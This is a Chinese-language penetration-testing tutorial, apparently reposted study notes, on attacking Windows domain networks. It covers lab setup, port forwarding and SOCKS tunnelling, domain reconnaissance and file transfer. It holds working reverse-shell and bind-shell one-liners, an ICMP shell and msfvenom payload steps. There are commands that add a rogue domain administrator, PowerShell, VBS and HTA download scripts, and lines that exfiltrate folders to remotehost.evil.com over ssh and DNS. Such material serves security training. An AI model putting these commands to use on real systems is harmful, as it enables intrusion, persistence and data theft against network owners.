1. 程式人生 > >從零開始內網滲透學習

從零開始內網滲透學習

檸檬的內網合集,第二次看,感覺就不一樣了。。。

雖然我們同屆,但感覺相差甚遠啊,努力努力。

Team:Syclover Author:L3m0n Email:[email protected]

[TOC]

###域環境搭建 準備: DC: win2008 DM: win2003 DM: winxp

win2008(域控) 1、修改計算機名: 

2、配置固定ip: 其中閘道器設定錯誤,應該為192.168.206.2,開始預設的網管 

3、伺服器管理器---角色: 

4、配置域服務: dos下面輸入dcpromo 

Ps:這裡可能會因為本地administrator的密碼規則不合要求,導致安裝失敗,改一個強密碼

6、域資料存放的地址 

win2003、winxp和08配置差不多

注意點是: 1、配置網路 dns server應該為主域控ip地址 

2、加入域控 

域已經搭建完成,主域控會生成一個krbtgt賬號 他是Windows活動目錄中使用的客戶/伺服器認證協議,為通訊雙方提供雙向身份認證 

###埠轉發&&邊界代理 此類工具很多,測試一兩個經典的。 #####埠轉發 1、windows lcx

監聽1234埠,轉發資料到2333埠
本地:lcx.exe -listen 1234 2333

將目標的3389轉發到本地的1234埠
遠端:lcx.exe -slave ip 1234 127.0.0.1 3389

netsh 只支援tcp協議

新增轉發規則
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389
此工具適用於,有一臺雙網絡卡伺服器,你可以通過它進行內網通訊,比如這個,你連線192.168.206.101:3388埠是連線到100上面的3389

刪除轉發規則
netsh interface portproxy delete v4tov4 listenport=9090

檢視現有規則
netsh interface portproxy show all

xp需要安裝ipv6
netsh interface ipv6 install

2、linux portmap 

監聽1234埠,轉發資料到2333埠
本地:./portmap -m 2 -p1 1234 -p2 2333

將目標的3389轉發到本地的1234埠
./portmap -m 1 -p1 3389 -h2 ip -p2 1234

iptables

1、編輯配置檔案/etc/sysctl.conf的net.ipv4.ip_forward = 1

2、關閉服務
service iptables stop

3、配置規則
需要訪問的內網地址:192.168.206.101
內網邊界web伺服器:192.168.206.129
iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389

iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129

4、儲存&&重啟服務
service iptables save && service iptables start

#####socket代理 xsocks 1、windows 

進行代理後,在windows下推薦使用Proxifier進行socket連線,規則自己定義 

2、linux 進行代理後,推薦使用proxychains進行socket連線 kali下的配置檔案: /etc/proxychains.conf 新增一條:socks5 127.0.0.1 8888

然後在命令前加proxychains就進行了代理 

#####神器推薦 http://rootkiter.com/EarthWorm/ 跨平臺+埠轉發+socket代理結合體!darksn0w師傅的推薦。 ew_port_socket.zip

#####基於http的轉發與socket代理(低許可權下的滲透) 如果目標是在dmz裡面,資料除了web其他出不來,便可以利用http進行 1、埠轉發 tunna

>埠轉發(將遠端3389轉發到本地1234)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v
>
>連線不能中斷服務(比如ssh)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 22 -v -s
>
>轉發192.168.0.2的3389到本地
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -a 192.168.0.2 -r 3389

2、socks代理 reGeorg

python reGeorgSocksProxy.py -u http://192.168.206.101/tunnel.php -p 8081

本地訪問127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 [email protected]    #本地轉發

訪問host:port2就是訪問127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 [email protected]    #遠端轉發

可以將dmz_host的hostport埠通過remote_ip轉發到本地的port埠
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip   #正向隧道,監聽本地port

可以將dmz_host的hostport埠轉發到remote_ip的port埠
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip   #反向隧道,用於內網穿透防火牆限制之類

2、socks

socket代理:
ssh -qTfnN -D port remotehost

###獲取shell #####常規shell反彈 幾個常用:

1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

2、python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3、rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

#####突破防火牆的imcp_shell反彈 有時候防火牆可能對tcp進行來處理,然而對imcp並沒有做限制的時候,就可以來一波~ kali執行(其中的ip地址填寫為目標地址win03): 

win03執行:

icmpsh.exe -t kali_ip -d 500 -b 30 -s 128

可以看到icmp進行通訊的 

#####Shell反彈不出的時候 主要針對:本機kali不是外網或者目標在dmz裡面反彈不出shell,可以通過這種直連shell然後再通過http的埠轉發到本地的metasploit

1、msfvenom -p windows/x64/shell/bind_tcp LPORT=12345 -f exe -o ./shell.exe
先生成一個bind_shell

2、本地利用tunna工具進行埠轉發
python proxy.py -u http://lemon.com/conn.jsp  -l 1111 -r 12345 v

3、
use exploit/multi/handler
set payload windows/x64/shell/bind_tcp
set LPORT 1111
set RHOST 127.0.0.1

#####正向shell

1、nc -e /bin/sh -lp 1234

2、nc.exe -e cmd.exe -lp 1234

###資訊收集(結構分析) #####基本命令 1、獲取當前組的計算機名(一般remark有Dc可能是域控):

C:\Documents and Settings\Administrator\Desktop>net view
Server Name            Remark

-----------------------------------------------------------------------------
\\DC1
\\DM-WINXP
\\DM_WIN03
The command completed successfully.

2、檢視所有域

C:\Documents and Settings\Administrator\Desktop>net view /domain
Domain

-----------------------------------------------------------------------------
CENTOSO
The command completed successfully.

3、從計算機名獲取ipv4地址

C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4

Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data:

Reply from 192.168.206.100: bytes=32 time<1ms TTL=128

Ping statistics for 192.168.206.100:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

Ps:如果計算機名很多的時候,可以利用bat批量ping獲取ip

@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k  %%j)
)
)

以下執行命令時候會發送到域控查詢,如果滲透的機器不是域使用者許可權,則會報錯

The request will be processed at a domain controller for domain
System error 1326 has occurred.
Logon failure: unknown user name or bad password.

4、檢視域中的使用者名稱

dsquery user
或者:
C:\Users\lemon\Desktop>net user /domain

User accounts for \\DC1

-------------------------------------------------------------------------------
Administrator            Guest                    krbtgt
lemon                    pentest
The command completed successfully.

5、查詢域組名稱

C:\Users\lemon\Desktop>net group /domain

Group Accounts for \\DC1

----------------------------------------------
*DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Read-only Domain Controllers
*Schema Admins
The command completed successfully.

6、查詢域管理員

C:\Users\lemon\Desktop>net group "Domain Admins" /domain
Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-----------------------------------------------------------
Administrator

7、新增域管理員賬號

新增普通域使用者
net user lemon [email protected] /add /domain
將普通域使用者提升為域管理員
net group "Domain Admins" lemon /add /domain

8、檢視當前計算機名,全名,使用者名稱,系統版本,工作站域,登陸域

C:\Documents and Settings\Administrator\Desktop>net config Workstation
Computer name                        \\DM_WIN03
Full Computer name                   DM_win03.centoso.com
User name                            Administrator

Workstation active on
        NetbiosSmb (000000000000)
        NetBT_Tcpip_{6B2553C1-C741-4EE3-AFBF-CE3BA1C9DDF7} (000C2985F6E4)

Software version                     Microsoft Windows Server 2003

Workstation domain                   CENTOSO
Workstation Domain DNS Name          centoso.com
Logon domain                         DM_WIN03

COM Open Timeout (sec)               0
COM Send Count (byte)                16
COM Send Timeout (msec)              250

9、檢視域控制器(多域控制器的時候,而且只能用在域控制器上)

net group "Domain controllers"

10、查詢所有計算機名稱

dsquery computer
下面這條查詢的時候,域控不會列出
net group "Domain Computers" /domain

11、net命令

>1、對映磁碟到本地
net use z: \\dc01\sysvol

>2、檢視共享
net view \\192.168.0.1

>3、開啟一個共享名為app$,在d:\config
>net share app$=d:\config

12、跟蹤路由

tracert 8.8.8.8

#####定位域控 1、檢視域時間及域伺服器的名字

C:\Users\lemon\Desktop>net time /domain
Current time at \\DC1.centoso.com is 3/21/2016 12:37:15 AM

2、

C:\Documents and Settings\Administrator\Desktop>Nslookup -type=SRV _ldap._tcp.
*** Can't find server address for '_ldap._tcp.':
DNS request timed out.
    timeout was 2 seconds.
*** Can't find server name for address 192.168.206.100: Timed out
Server:  UnKnown
Address:  192.168.206.100

*** UnKnown can't find -type=SRV: Non-existent domain

3、通過ipconfig配置查詢dns地址

ipconfig/all

4、查詢域控

net group "Domain Controllers" /domain

#####埠收集 埠方面的攻防需要花費的時間太多,引用一篇非常讚的埠總結文章

埠號 埠說明 攻擊技巧
21/22/69 ftp/tftp:檔案傳輸協議 爆破\嗅探\溢位\後門
22 ssh:遠端連線 爆破OpenSSH;28個退格
23 telnet:遠端連線 爆破\嗅探
25 smtp:郵件服務 郵件偽造
53 DNS:域名系統 DNS區域傳輸\DNS劫持\DNS快取投毒\DNS欺騙\利用DNS隧道技術刺透防火牆
67/68 dhcp 劫持\欺騙
110 pop3 爆破
139 samba 爆破\未授權訪問\遠端程式碼執行
143 imap 爆破
161 snmp 爆破
389 ldap 注入攻擊\未授權訪問
512/513/514 linux r 直接使用rlogin
873 rsync 未授權訪問
1080 socket 爆破:進行內網滲透
1352 lotus 爆破:弱口令\資訊洩漏:原始碼
1433 mssql 爆破:使用系統使用者登入\注入攻擊
1521 oracle 爆破:TNS\注入攻擊
2049 nfs 配置不當
2181 zookeeper 未授權訪問
3306 mysql 爆破\拒絕服務\注入
3389 rdp 爆破\Shift後門
4848 glassfish 爆破:控制檯弱口令\認證繞過
5000 sybase/DB2 爆破\注入
5432 postgresql 緩衝區溢位\注入攻擊\爆破:弱口令
5632 pcanywhere 拒絕服務\程式碼執行
5900 vnc 爆破:弱口令\認證繞過
6379 redis 未授權訪問\爆破:弱口令
7001 weblogic Java反序列化\控制檯弱口令\控制檯部署webshell
80/443/8080 web 常見web攻擊\控制檯爆破\對應伺服器版本漏洞
8069 zabbix 遠端命令執行
9090 websphere控制檯 爆破:控制檯弱口令\Java反序列
9200/9300 elasticsearch 遠端程式碼執行
11211 memcacache 未授權訪問
27017 mongodb 爆破\未授權訪問

#####掃描分析 1、nbtscan 獲取mac地址:

nbtstat -A 192.168.1.99

獲取計算機名\分析dc\是否開放共享

nbtscan 192.168.1.0/24

 其中資訊: SHARING 表示開放來共享, DC 表示可能是域控,或者是輔助域控 U=user 猜測此計算機登陸名 IIS 表示執行來web80 EXCHANGE Microsoft Exchange服務 NOTES Lotus Notes服務

2、WinScanX 需要登入賬號能夠獲取目標很詳細的內容。其中還有snmp獲取,windows密碼猜解(但是容易被殺,nishang中也實現出一個類似的資訊獲取/Gather/Get-Information.ps1)

WinScanX.exe -3 DC1 centoso\pentest password -a > test.txt

3、埠掃描 InsightScan proxy_socket後,直接

proxychains python scanner.py 192.168.0.0/24 -N

###內網檔案傳輸 #####windows下檔案傳輸 1、powershell檔案下載 powershell突破限制執行:powershell -ExecutionPolicy Bypass -File .\1.ps1

$d = New-Object System.Net.WebClient
$d.DownloadFile("http://lemon.com/file.zip","c:/1.zip")

2、vbs指令碼檔案下載

Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.206.101/file.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\file.zip",2

下載執行:

cscript test.vbs

3、bitsadmin win03測試沒有,win08有

bitsadmin /transfer n http://lemon.com/file.zip c:\1.zip

4、檔案共享 映射了一個,結果沒有許可權寫

net use x: \\127.0.0.1\share /user:centoso.com\userID myPassword

5、使用telnet接收資料

服務端:nc -lvp 23 < nc.exe
下載端:telnet ip -f c:\nc.exe

6、hta 儲存為.hta檔案後執行

<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.206.101/demo.php.zip",false);
Object.send();
if (Object.Status == 200)
{
    var Stream = new ActiveXObject("ADODB.Stream");
    Stream.Open();
    Stream.Type = 1;
    Stream.Write(Object.ResponseBody);
    Stream.SaveToFile("C:\\demo.zip", 2);
    Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>

#####linux下檔案傳輸 1、perl指令碼檔案下載 kali下測試成功,centos5.5下,由於沒有LWP::Simple這個,導致下載失敗

#!/usr/bin/perl
use LWP::Simple
getstore("http://lemon.com/file.zip", "/root/1.zip");

2、python檔案下載

#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://lemon.com/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()

3、ruby檔案下載 centos5.5沒有ruby環境

#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.lemon.com") { |http|
r = http.get("/file.zip")
open("/root/1.zip", "wb") { |file|
file.write(r.body)
}
}

4、wget檔案下載

wget http://lemon.com/file.zip -P /root/1.zip
其中-P是儲存到指定目錄

5、一邊tar一邊ssh上傳

tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -" 

6、利用dns傳輸資料

tar zcf - localfolder | xxd -p -c 16 |  while read line; do host $line.domain.com remotehost.evil.com; done

但是有時候會因為沒找到而導致資料重複,對資料分析有點影響 

#####其他傳輸方式 1、php指令碼檔案下載

<?php
        $data = @file("http://example.com/file");
        $lf = "local_file";
        $fh = fopen($lf, 'w');
        fwrite($fh, $data[0]);
        fclose($fh);
?>

2、ftp檔案下載

>**windows下**
>ftp下載是需要互動,但是也可以這樣去執行下載
open host
username
password
bin
lcd c:/
get file
bye
>將這個內容儲存為1.txt, ftp -s:"c:\1.txt"
>在mssql命令執行裡面(不知道為什麼單行執行一個echo,總是顯示兩行),個人一般喜歡這樣
echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe  >>c:\hh.txt &